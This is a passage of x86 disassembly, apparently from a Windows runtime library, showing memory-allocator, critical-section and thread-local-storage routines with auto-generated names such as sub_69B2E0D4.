		test	esi, esi
		jz	short loc_69B2E078
		mov	[esi], edx


loc_69B2E078:				; CODE XREF: sub_69B2E03C+38j
		or	[ecx+14h], edx
		dec	dword ptr [ecx+10h]
		shl	eax, 0Dh
		add	eax, [ecx]
		jmp	short loc_69B2E060
sub_69B2E03C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E085	proc near		; CODE XREF: sub_69B1C300+71E0p
					; sub_69B2E0D4+83p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	20000h
		push	dword ptr [esi]
		call	sub_69B2E438
		mov	eax, [esi+0Ch]
		mov	ecx, [esi]
		mov	edi, ds:VirtualFree
		shl	eax, 0Dh
		cmp	dword_69B92940,	0
		push	4000h		; dwFreeType
		push	eax		; dwSize
		push	ecx		; lpAddress
		jnz	short loc_69B2E0B9
		call	edi ; VirtualFree
		jmp	short loc_69B2E0BE
; ---------------------------------------------------------------------------


loc_69B2E0B9:				; CODE XREF: sub_69B2E085+2Ej
		call	sub_69B2D527


loc_69B2E0BE:				; CODE XREF: sub_69B2E085+32j
		push	8000h		; dwFreeType
		push	0		; dwSize
		push	dword ptr [esi]	; lpAddress
		call	edi ; VirtualFree
		push	esi
		call	sub_69B1B2B7
		pop	edi
		pop	esi
		retn	4
sub_69B2E085	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B2E0D4(int, LPCRITICAL_SECTION lpCriticalSection)

sub_69B2E0D4	proc near		; CODE XREF: sub_69B235F6+Dp
					; sub_69B2E240+16p

arg_0		= dword	ptr  8
lpCriticalSection= dword ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+lpCriticalSection]
		push	edi
		mov	edi, ecx
		lea	eax, [edi+10h]
		push	eax		; lpCriticalSection
		mov	[ebp+lpCriticalSection], eax
		call	ds:EnterCriticalSection
		test	esi, esi
		mov	ecx, [ebp+arg_0]
		jnz	short loc_69B2E10E
		mov	esi, [edi+2Ch]
		lea	edx, [ecx-20000h]
		jmp	short loc_69B2E10A
; ---------------------------------------------------------------------------


loc_69B2E0FD:				; CODE XREF: sub_69B2E0D4+38j
		mov	eax, [esi]
		cmp	ecx, eax
		jb	short loc_69B2E107
		cmp	eax, edx
		jnb	short loc_69B2E10E


loc_69B2E107:				; CODE XREF: sub_69B2E0D4+2Dj
		mov	esi, [esi+8]


loc_69B2E10A:				; CODE XREF: sub_69B2E0D4+27j
		test	esi, esi
		jnz	short loc_69B2E0FD


loc_69B2E10E:				; CODE XREF: sub_69B2E0D4+1Cj
					; sub_69B2E0D4+31j
		sub	ecx, [esi]
		xor	eax, eax
		inc	eax
		shr	ecx, 0Dh
		shl	eax, cl
		not	eax
		and	[esi+14h], eax
		inc	dword ptr [esi+10h]
		mov	eax, [edi+28h]
		test	eax, eax
		mov	ecx, [esi+10h]
		jz	short loc_69B2E12F
		cmp	[eax+10h], ecx
		jge	short loc_69B2E132


loc_69B2E12F:				; CODE XREF: sub_69B2E0D4+54j
		mov	[edi+28h], esi


loc_69B2E132:				; CODE XREF: sub_69B2E0D4+59j
		mov	eax, [esi+10h]
		cmp	eax, [esi+0Ch]
		jnz	short loc_69B2E15E
		cmp	[edi+28h], esi
		jnz	short loc_69B2E143
		and	dword ptr [edi+28h], 0


loc_69B2E143:				; CODE XREF: sub_69B2E0D4+69j
		push	esi
		mov	ecx, edi
		call	sub_69B2E00B
		push	[ebp+lpCriticalSection]	; lpCriticalSection
		call	ds:LeaveCriticalSection
		push	esi
		mov	ecx, edi
		call	sub_69B2E085
		jmp	short loc_69B2E167
; ---------------------------------------------------------------------------


loc_69B2E15E:				; CODE XREF: sub_69B2E0D4+64j
		push	[ebp+lpCriticalSection]	; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_69B2E167:				; CODE XREF: sub_69B2E0D4+88j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_69B2E0D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E16D	proc near		; CODE XREF: .text:69B2E1C7p
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	ebp, [esi+0Ch]
		lea	ebx, [esi-4]
		push	ebp		; lpCriticalSection
		mov	dword ptr [ebx], offset	off_69B1AEB8
		mov	dword ptr [esi], offset	off_69B1DA9C
		call	ds:EnterCriticalSection
		jmp	short loc_69B2E19E
; ---------------------------------------------------------------------------


loc_69B2E18E:				; CODE XREF: sub_69B2E16D+36j
		push	edi
		mov	ecx, ebx
		call	sub_69B2E00B
		push	edi
		mov	ecx, ebx
		call	sub_69B2E085


loc_69B2E19E:				; CODE XREF: sub_69B2E16D+1Fj
		mov	edi, [esi+28h]
		test	edi, edi
		jnz	short loc_69B2E18E
		push	ebp		; lpCriticalSection
		call	ds:LeaveCriticalSection
		push	ebp		; lpCriticalSection
		call	ds:DeleteCriticalSection
		pop	edi
		mov	dword ptr [esi], offset	off_69B1BBE0
		pop	esi
		pop	ebp
		mov	dword ptr [ebx], offset	off_69B1AEB8
		pop	ebx
		retn
sub_69B2E16D	endp

; ---------------------------------------------------------------------------


loc_69B2E1C4:				; DATA XREF: .text:off_69B1DA9Co
		push	esi
		mov	esi, ecx
		call	sub_69B2E16D
		test	byte ptr [esp+8], 1
		jz	short loc_69B2E1DC
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B2E1DC:				; CODE XREF: .text:69B2E1D1j
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B2E1E3	proc near		; CODE XREF: sub_69B2E240+20p
					; sub_69B2E347+38p
		dec	dword ptr [ecx+50h]
		push	esi
		mov	esi, [ecx+50h]
		jnz	short loc_69B2E1F5
		add	ecx, 4
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax]


loc_69B2E1F5:				; CODE XREF: sub_69B2E1E3+7j
		mov	eax, esi
		pop	esi
		retn
sub_69B2E1E3	endp

; ---------------------------------------------------------------------------
		jmp	sub_69B120A4

; =============== S U B	R O U T	I N E =======================================



sub_69B2E1FE	proc near		; CODE XREF: sub_69B2E49A+6Bp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [ecx+8]
		mov	ebx, [edi+4Ch]
		sub	esi, ebx
		sub	esi, ecx
		js	short loc_69B2E225
		mov	eax, esi
		xor	edx, edx
		div	dword ptr [edi+44h]
		sub	esi, edx
		add	esi, ebx
		add	esi, ecx
		mov	eax, esi
		cmp	dword ptr [eax], 0
		jnz	short loc_69B2E227


loc_69B2E225:				; CODE XREF: sub_69B2E1FE+11j
		xor	eax, eax


loc_69B2E227:				; CODE XREF: sub_69B2E1FE+25j
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B2E1FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E22D	proc near		; CODE XREF: sub_69B3D2F2+32p
					; sub_69B4202C+6Fp ...
		push	0FFFFFFFFh	; dwMilliseconds
		add	ecx, 10h
		call	sub_69B18F8A
		retn
sub_69B2E22D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E238	proc near		; CODE XREF: sub_69B3D2F2+6Fp
					; sub_69B3D2F2+85p ...
		add	ecx, 10h
		jmp	sub_69B18381
sub_69B2E238	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E240	proc near		; CODE XREF: sub_69B2E26A+22p
					; sub_69B2E2CA+55p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_69B1B1F3
		mov	eax, [edi+20h]
		mov	ecx, [eax+18h]
		push	eax		; lpCriticalSection
		push	edi		; int
		call	sub_69B2E0D4
		dec	dword ptr [esi+5Ch]
		mov	ecx, esi
		call	sub_69B2E1E3
		pop	edi
		pop	esi
		retn	4
sub_69B2E240	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E26A	proc near		; CODE XREF: sub_69B2E328+3p
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	eax, [esi+34h]
		test	eax, eax
		lea	ebx, [esi-4]
		push	edi
		mov	dword ptr [ebx], offset	off_69B121C4
		mov	dword ptr [esi], offset	off_69B121C0
		jz	short loc_69B2E29A


loc_69B2E286:				; CODE XREF: sub_69B2E26A+2Bj
		mov	edi, [eax+10h]
		push	eax
		mov	ecx, ebx
		call	sub_69B2E240
		test	edi, edi
		mov	eax, edi
		jnz	short loc_69B2E286
		and	[esi+34h], edi


loc_69B2E29A:				; CODE XREF: sub_69B2E26A+1Aj
		push	0
		lea	ebp, [esi+50h]
		lea	edi, [esi+10h]
		add	dword ptr [edi+8], 0FFFFFFF8h
		push	ebp
		call	sub_69B17320
		push	ebp
		call	sub_69B17230
		mov	ecx, edi
		call	loc_69B1AE86
		pop	edi
		mov	dword ptr [esi], offset	off_69B1BBE0
		pop	esi
		pop	ebp
		mov	dword ptr [ebx], offset	off_69B1AEB8
		pop	ebx
		retn
sub_69B2E26A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E2CA	proc near		; CODE XREF: sub_69B1DAD9+5BB0p
					; sub_69B2E347+1Dp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_69B25ED0
		mov	edx, [esp+arg_0]
		and	eax, edx
		push	esi
		mov	esi, [eax+1Ch]
		mov	[edx+4], esi
		inc	dword ptr [eax+14h]
		mov	[eax+1Ch], edx
		mov	edx, [eax+14h]
		cmp	edx, [ecx+48h]
		jnz	short loc_69B2E324
		mov	edx, [eax+0Ch]
		test	edx, edx
		jz	short loc_69B2E2F9
		mov	esi, [eax+10h]
		mov	[edx+10h], esi
		jmp	short loc_69B2E2FF
; ---------------------------------------------------------------------------


loc_69B2E2F9:				; CODE XREF: sub_69B2E2CA+25j
		mov	edx, [eax+10h]
		mov	[ecx+38h], edx


loc_69B2E2FF:				; CODE XREF: sub_69B2E2CA+2Dj
		mov	edx, [eax+10h]
		test	edx, edx
		jz	short loc_69B2E30C
		mov	esi, [eax+0Ch]
		mov	[edx+0Ch], esi


loc_69B2E30C:				; CODE XREF: sub_69B2E2CA+3Aj
		cmp	[ecx+3Ch], eax
		jnz	short loc_69B2E315
		and	dword ptr [ecx+3Ch], 0


loc_69B2E315:				; CODE XREF: sub_69B2E2CA+45j
		cmp	[ecx+40h], eax
		jnz	short loc_69B2E31E
		and	dword ptr [ecx+40h], 0


loc_69B2E31E:				; CODE XREF: sub_69B2E2CA+4Ej
		push	eax
		call	sub_69B2E240


loc_69B2E324:				; CODE XREF: sub_69B2E2CA+1Ej
		pop	esi
		retn	4
sub_69B2E2CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E328	proc near		; DATA XREF: .text:off_69B121C0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B2E26A
		test	[esp+4+arg_0], 1
		jz	short loc_69B2E340
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B2E340:				; CODE XREF: sub_69B2E328+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B2E328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2E347	proc near		; DATA XREF: .text:69B121CCo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+58h]
		test	eax, eax
		push	edi
		jz	short loc_69B2E36F
		and	dword ptr [esi+58h], 0
		test	eax, eax
		jz	short loc_69B2E36F


loc_69B2E35E:				; CODE XREF: sub_69B2E347+26j
		mov	edi, [eax+4]
		push	eax
		mov	ecx, esi
		call	sub_69B2E2CA
		test	edi, edi
		mov	eax, edi
		jnz	short loc_69B2E35E


loc_69B2E36F:				; CODE XREF: sub_69B2E347+Dj
					; sub_69B2E347+15j
		lea	ecx, [esi+4]
		call	sub_69B1906C
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B2E3B5
		mov	ecx, esi
		call	sub_69B2E1E3
		test	eax, eax
		jz	short loc_69B2E3B5
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		inc	dword ptr [esi+50h]
		push	dword_69B929E8
		lea	ecx, [ebp+arg_0]
		call	sub_69B18E23
		mov	eax, dword_69B929F4
		mov	[esi+60h], eax
		lea	ecx, [ebp+arg_0]
		mov	dword_69B929F4,	esi
		call	sub_69B1900C


loc_69B2E3B5:				; CODE XREF: sub_69B2E347+34j
					; sub_69B2E347+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn	4
sub_69B2E347	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E3BD	proc near		; CODE XREF: .text:69B47CECj
					; sub_69B4876E+10p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		mov	esi, ds:dword_69B25ED0
		push	edi
		push	dwTlsIndex
		and	esi, ebx
		call	dword_69B92970
		mov	edi, eax
		lea	ebp, [esi+4]
		push	ebp		; Target
		mov	[edi+50h], esi
		call	sub_69B18980
		and	dword ptr [ebx], 0
		push	eax
		push	ebp
		call	sub_69B18788
		and	dword ptr [edi+50h], 0
		mov	ecx, [esi+8]
		test	dword ptr [ecx+0Ch], 0FFFFFFF8h
		jnz	short loc_69B2E409
		push	ebx
		call	sub_69B2E2CA
		jmp	short loc_69B2E41E
; ---------------------------------------------------------------------------


loc_69B2E409:				; CODE XREF: sub_69B2E3BD+42j
		lea	edi, [ecx+58h]


loc_69B2E40C:				; CODE XREF: sub_69B2E3BD+5Fj
		mov	esi, [edi]
		push	esi
		push	ebx
		push	edi
		mov	[ebx+4], esi
		call	dword_69B92950	; InterlockedCompareExchange
		cmp	eax, esi
		jnz	short loc_69B2E40C


loc_69B2E41E:				; CODE XREF: sub_69B2E3BD+4Aj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_69B2E3BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E425	proc near		; CODE XREF: sub_69B2E49A+117p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh	; Value
		add	eax, 4
		push	eax		; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		retn	4
sub_69B2E425	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E438	proc near		; CODE XREF: sub_69B2E085+Dp
					; sub_69B2E786+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_69B929E8
		test	esi, esi
		jz	short loc_69B2E450
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0Ch]
		mov	esi, dword_69B929E8


loc_69B2E450:				; CODE XREF: sub_69B2E438+9j
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	edx, [esp+4+arg_0]
		jle	short loc_69B2E48B
		push	ebx
		push	edi
		lea	edi, [eax-1]
		shr	edi, 10h
		inc	edi


loc_69B2E465:				; CODE XREF: sub_69B2E438+4Fj
		mov	ecx, edx
		shr	ecx, 10h
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, dword_69B929F8[eax]
		add	edx, 10000h
		not	bl
		and	[eax], bl
		dec	edi
		jnz	short loc_69B2E465
		pop	edi
		pop	ebx


loc_69B2E48B:				; CODE XREF: sub_69B2E438+22j
		test	esi, esi
		jz	short loc_69B2E496
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+10h]


loc_69B2E496:				; CODE XREF: sub_69B2E438+55j
		pop	esi
		retn	8
sub_69B2E438	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2E49A	proc near		; CODE XREF: sub_69B2D846+39p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_69B181A4
		test	al, al
		jz	loc_69B2E62A
		mov	esi, ds:dword_69B25ED0
		and	esi, ebx
		push	esi
		call	sub_69B2E659
		test	al, al
		jz	short loc_69B2E537
		cmp	dword ptr [esi], 1
		jnz	short loc_69B2E537
		push	0FFFFFFFFh	; Value
		lea	edi, [esi+4]
		push	edi		; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		cmp	eax, 0FFFFFFFFh
		setnz	byte ptr [ebp+arg_0+3]
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[ebp+var_4], eax
		jnz	short loc_69B2E502
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_69B2E4F5
		cmp	[eax+50h], esi
		jz	short loc_69B2E502


loc_69B2E4F5:				; CODE XREF: sub_69B2E49A+54j
		push	edi		; Target
		call	sub_69B18980
		mov	[ebp+var_4], eax
		mov	byte ptr [ebp+arg_0+3],	1


loc_69B2E502:				; CODE XREF: sub_69B2E49A+4Dj
					; sub_69B2E49A+59j
		push	ebx
		mov	ecx, esi
		call	sub_69B2E1FE
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B2E521
		cmp	dword ptr [esi], 0
		jnz	short loc_69B2E519
		xor	esi, esi
		jmp	short loc_69B2E521
; ---------------------------------------------------------------------------


loc_69B2E519:				; CODE XREF: sub_69B2E49A+79j
		mov	eax, [esi+4]
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_69B2E521:				; CODE XREF: sub_69B2E49A+74j
					; sub_69B2E49A+7Dj
		cmp	byte ptr [ebp+arg_0+3],	0
		jz	short loc_69B2E530
		push	[ebp+var_4]
		push	edi
		call	sub_69B18788


loc_69B2E530:				; CODE XREF: sub_69B2E49A+8Bj
		mov	eax, esi
		jmp	loc_69B2E652
; ---------------------------------------------------------------------------


loc_69B2E537:				; CODE XREF: sub_69B2E49A+2Cj
					; sub_69B2E49A+31j
		mov	edi, ebx
		and	edi, 0FFFFF000h
		push	edi
		call	sub_69B2E659
		test	al, al
		jz	loc_69B2E64F
		mov	eax, [edi]
		test	eax, eax
		jz	loc_69B2E64F
		mov	ecx, dword_69B949F8
		lea	edx, [edi+110h]
		cmp	ebx, edx
		jb	loc_69B2E64F
		and	eax, 0FFFFFFFEh
		mov	[ebp+arg_0], eax
		sub	eax, ecx
		sub	eax, 14h
		cdq
		mov	esi, 2270h
		idiv	esi
		test	eax, eax
		jl	loc_69B2E64F
		cmp	eax, [ecx]
		jge	loc_69B2E64F
		imul	eax, 2270h
		lea	eax, [eax+ecx+14h]
		cmp	[ebp+arg_0], eax
		jnz	loc_69B2E64F
		sub	ebx, edi
		sub	ebx, 110h
		sar	ebx, 4
		push	edi
		lea	esi, [ebx+edi+10h]
		call	sub_69B2E425
		cmp	eax, 0FFFFFFFFh
		setnz	dl
		test	dl, dl
		jnz	short loc_69B2E5D7
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_69B2E5CC
		cmp	[ecx+50h], edi
		jz	short loc_69B2E5D7


loc_69B2E5CC:				; CODE XREF: sub_69B2E49A+12Bj
		lea	eax, [edi+4]
		push	eax		; Target
		call	sub_69B18980
		mov	dl, 1


loc_69B2E5D7:				; CODE XREF: sub_69B2E49A+124j
					; sub_69B2E49A+130j
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_69B2E5F0
		lea	ecx, [edi+10h]


loc_69B2E5E0:				; CODE XREF: sub_69B2E49A+14Ej
		cmp	esi, ecx
		jbe	short loc_69B2E5EA
		dec	esi
		cmp	byte ptr [esi],	0
		jz	short loc_69B2E5E0


loc_69B2E5EA:				; CODE XREF: sub_69B2E49A+148j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_69B2E61A


loc_69B2E5F0:				; CODE XREF: sub_69B2E49A+141j
		sub	esi, edi
		inc	esi
		movzx	ecx, cl
		shl	esi, 4
		add	esi, edi
		shl	ecx, 4
		add	ecx, esi
		cmp	esi, ecx
		mov	[ebp+var_4], esi
		jnb	short loc_69B2E616
		cmp	dword ptr [esi], 0
		jz	short loc_69B2E616
		mov	ecx, [esi+4]
		mov	esi, [ebp+arg_4]
		mov	[esi], ecx
		jmp	short loc_69B2E61A
; ---------------------------------------------------------------------------


loc_69B2E616:				; CODE XREF: sub_69B2E49A+16Bj
					; sub_69B2E49A+170j
		and	[ebp+var_4], 0


loc_69B2E61A:				; CODE XREF: sub_69B2E49A+154j
					; sub_69B2E49A+17Aj
		test	dl, dl
		jz	short loc_69B2E64F
		push	eax
		add	edi, 4
		push	edi
		call	sub_69B18788
		jmp	short loc_69B2E64F
; ---------------------------------------------------------------------------


loc_69B2E62A:				; CODE XREF: sub_69B2E49A+16j
		push	ebx
		call	sub_69B2E659
		test	al, al
		jz	short loc_69B2E64F
		test	bl, 1
		jnz	short loc_69B2E64F
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_69B2E64F
		mov	ecx, ebx
		call	dword ptr [eax+10h]
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	eax, [eax+4]
		mov	[ecx], eax


loc_69B2E64F:				; CODE XREF: sub_69B2E49A+ADj
					; sub_69B2E49A+B7j ...
		mov	eax, [ebp+var_4]


loc_69B2E652:				; CODE XREF: sub_69B2E49A+98j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B2E49A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E659	proc near		; CODE XREF: sub_69B2E49A+25p
					; sub_69B2E49A+A6p ...

arg_0		= dword	ptr  4

		cmp	byte_69B929BC, 0
		jz	short loc_69B2E666
		xor	al, al
		jmp	short locret_69B2E6D0
; ---------------------------------------------------------------------------


loc_69B2E666:				; CODE XREF: sub_69B2E659+7j
		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		jle	short loc_69B2E6C6
		test	bl, 3
		jnz	short loc_69B2E6C6
		cmp	byte_69B95A00, 1
		jnz	short loc_69B2E683
		call	ds:DebugBreak	; DebugBreak


loc_69B2E683:				; CODE XREF: sub_69B2E659+22j
		sar	ebx, 2
		mov	eax, ebx
		mov	ecx, eax
		sar	ecx, 13h
		mov	ecx, dword_69B94A00[ecx*4]
		test	ecx, ecx
		jz	short loc_69B2E6C6
		mov	edx, eax
		sar	edx, 0Ch
		and	edx, 7Fh
		mov	edx, [ecx+edx*4+4]
		test	edx, edx
		jz	short loc_69B2E6C6
		push	esi
		and	eax, 0FFFh
		xor	esi, esi
		mov	ecx, eax
		inc	esi
		and	ecx, 1Fh
		shl	esi, cl
		shr	eax, 5
		test	[edx+eax*4+4], esi
		pop	esi
		jz	short loc_69B2E6C6
		mov	al, 1
		jmp	short loc_69B2E6C8
; ---------------------------------------------------------------------------


loc_69B2E6C6:				; CODE XREF: sub_69B2E659+14j
					; sub_69B2E659+19j ...
		xor	al, al


loc_69B2E6C8:				; CODE XREF: sub_69B2E659+6Bj
		mov	byte_69B95A00, 0
		pop	ebx

locret_69B2E6D0:			; CODE XREF: sub_69B2E659+Bj
		retn	4
sub_69B2E659	endp

; ---------------------------------------------------------------------------
		jmp	sub_69B1B1F3

; =============== S U B	R O U T	I N E =======================================



sub_69B2E6D8	proc near		; CODE XREF: sub_69B14EAC+1D3p
					; sub_69B171A0:loc_69B171BDp ...
		push	80070057h
		call	sub_69B2E8B8
		retn
sub_69B2E6D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2E6E3	proc near		; CODE XREF: sub_69B4E212+2Fp
					; sub_69B660A0+32p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		add	eax, ebx
		cmp	eax, [edi+8]
		mov	esi, ecx
		jg	short loc_69B2E705
		mov	eax, [ebp+arg_0]
		add	eax, ebx
		cmp	eax, [esi+8]
		jle	short loc_69B2E70F


loc_69B2E705:				; CODE XREF: sub_69B2E6E3+16j
		push	80070057h
		call	sub_69B2E8B8


loc_69B2E70F:				; CODE XREF: sub_69B2E6E3+20j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		mov	ecx, eax
		imul	ecx, [ebp+arg_C]
		lea	edi, [ecx+edi+0Ch]
		mov	ecx, eax
		imul	ecx, [ebp+arg_0]
		cmp	[ebp+arg_8], esi
		mov	[ebp+arg_4], eax
		lea	ecx, [ecx+esi+0Ch]
		jnz	short loc_69B2E761
		cmp	edi, ecx
		jnb	short loc_69B2E761
		dec	ebx
		imul	eax, ebx
		add	ecx, eax
		add	edi, eax
		test	ebx, ebx
		mov	[ebp+arg_C], ecx
		jl	short loc_69B2E77F
		inc	ebx
		jmp	short loc_69B2E74B
; ---------------------------------------------------------------------------


loc_69B2E748:				; CODE XREF: sub_69B2E6E3+7Aj
		mov	ecx, [ebp+arg_C]


loc_69B2E74B:				; CODE XREF: sub_69B2E6E3+63j
		mov	eax, [esi]
		push	edi
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		mov	eax, [ebp+arg_4]
		sub	[ebp+arg_C], eax
		sub	edi, eax
		dec	ebx
		jnz	short loc_69B2E748
		jmp	short loc_69B2E77F
; ---------------------------------------------------------------------------


loc_69B2E761:				; CODE XREF: sub_69B2E6E3+4Dj
					; sub_69B2E6E3+51j
		test	ebx, ebx
		jle	short loc_69B2E77F
		mov	[ebp+arg_C], ecx
		sub	[ebp+arg_C], edi


loc_69B2E76B:				; CODE XREF: sub_69B2E6E3+9Aj
		mov	ecx, [ebp+arg_C]
		mov	eax, [esi]
		add	ecx, edi
		push	edi
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		add	edi, [ebp+arg_4]
		dec	ebx
		jnz	short loc_69B2E76B


loc_69B2E77F:				; CODE XREF: sub_69B2E6E3+60j
					; sub_69B2E6E3+7Cj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B2E6E3	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_69B2E786(int,	LPVOID lpMem)

sub_69B2E786	proc near		; CODE XREF: sub_69B1A48F+9629p

arg_0		= dword	ptr  4
lpMem		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+lpMem]
		push	400000h
		push	dword ptr [esi+10h]
		call	sub_69B2E438
		push	8000h		; dwFreeType
		push	0		; dwSize
		push	dword ptr [esi+10h] ; lpAddress
		call	ds:VirtualFree	; VirtualFree
		mov	ecx, [esp+4+arg_0]
		lea	eax, [ecx+2020h]
		cmp	[eax], esi
		jnz	short loc_69B2E7BB
		mov	edx, [esi+4]
		mov	[eax], edx


loc_69B2E7BB:				; CODE XREF: sub_69B2E786+2Ej
		cmp	esi, ecx
		jz	short loc_69B2E7EF
		mov	eax, [esi+4]
		mov	ecx, [esi]
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		push	esi		; lpMem
		mov	[eax+4], ecx
		cmp	dword_69B92940,	0
		push	0		; dwFlags
		push	hHeap		; hHeap
		jnz	short loc_69B2E7E8
		call	ds:HeapFree
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B2E7E8:				; CODE XREF: sub_69B2E786+58j
		call	sub_69B2D4AB
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B2E7EF:				; CODE XREF: sub_69B2E786+37j
		or	dword ptr [ecx+10h], 0FFFFFFFFh
		pop	esi
		retn
sub_69B2E786	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B2E7F5	proc near		; DATA XREF: .text:69B1D3B0o
		mov	eax, offset off_69B2E7FC
		retn
sub_69B2E7F5	endp

; ---------------------------------------------------------------------------
		align 4
off_69B2E7FC	dd offset dword_69B18894 ; DATA	XREF: sub_69B2E7F5o
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_69B2E804	proc near		; CODE XREF: sub_69B22994+10p
					; sub_69B24123+10p ...
		mov	eax, [ecx+8]
		retn
sub_69B2E804	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E808	proc near		; CODE XREF: sub_69B22994+3p
					; sub_69B24123+3p ...
		push	dwTlsIndex
		call	dword_69B92970
		mov	eax, [eax+38h]
		retn
sub_69B2E808	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E818	proc near		; CODE XREF: sub_69B57011+1Fp
					; sub_69B70EC9+21p ...

arg_0		= dword	ptr  4

		push	dwTlsIndex
		call	dword_69B92970
		push	[esp+arg_0]
		add	eax, 38h
		push	eax
		call	sub_69B17320
		retn	4
sub_69B2E818	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E834	proc near		; CODE XREF: sub_69B2E860+Fp
					; sub_69B2E875+1p ...

arg_0		= dword	ptr  4

		push	dwTlsIndex
		call	dword_69B92970
		push	[esp+arg_0]
		add	eax, 38h
		push	eax
		call	sub_69B17320
		xor	eax, eax
		push	eax		; lpArguments
		push	eax		; nNumberOfArguments
		push	eax		; dwExceptionFlags
		push	0E0000001h	; dwExceptionCode
		call	ds:RaiseException	; RaiseException
		retn	4
sub_69B2E834	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2E860	proc near		; CODE XREF: sub_69B235A3+Bp
					; sub_69B23E3C:loc_69B23E7Ep ...
		push	dwTlsIndex
		call	dword_69B92970
		push	dword ptr [eax+38h]
		call	sub_69B2E834
		retn
sub_69B2E860	endp


; =============== S U B	R O U T	I N E =======================================



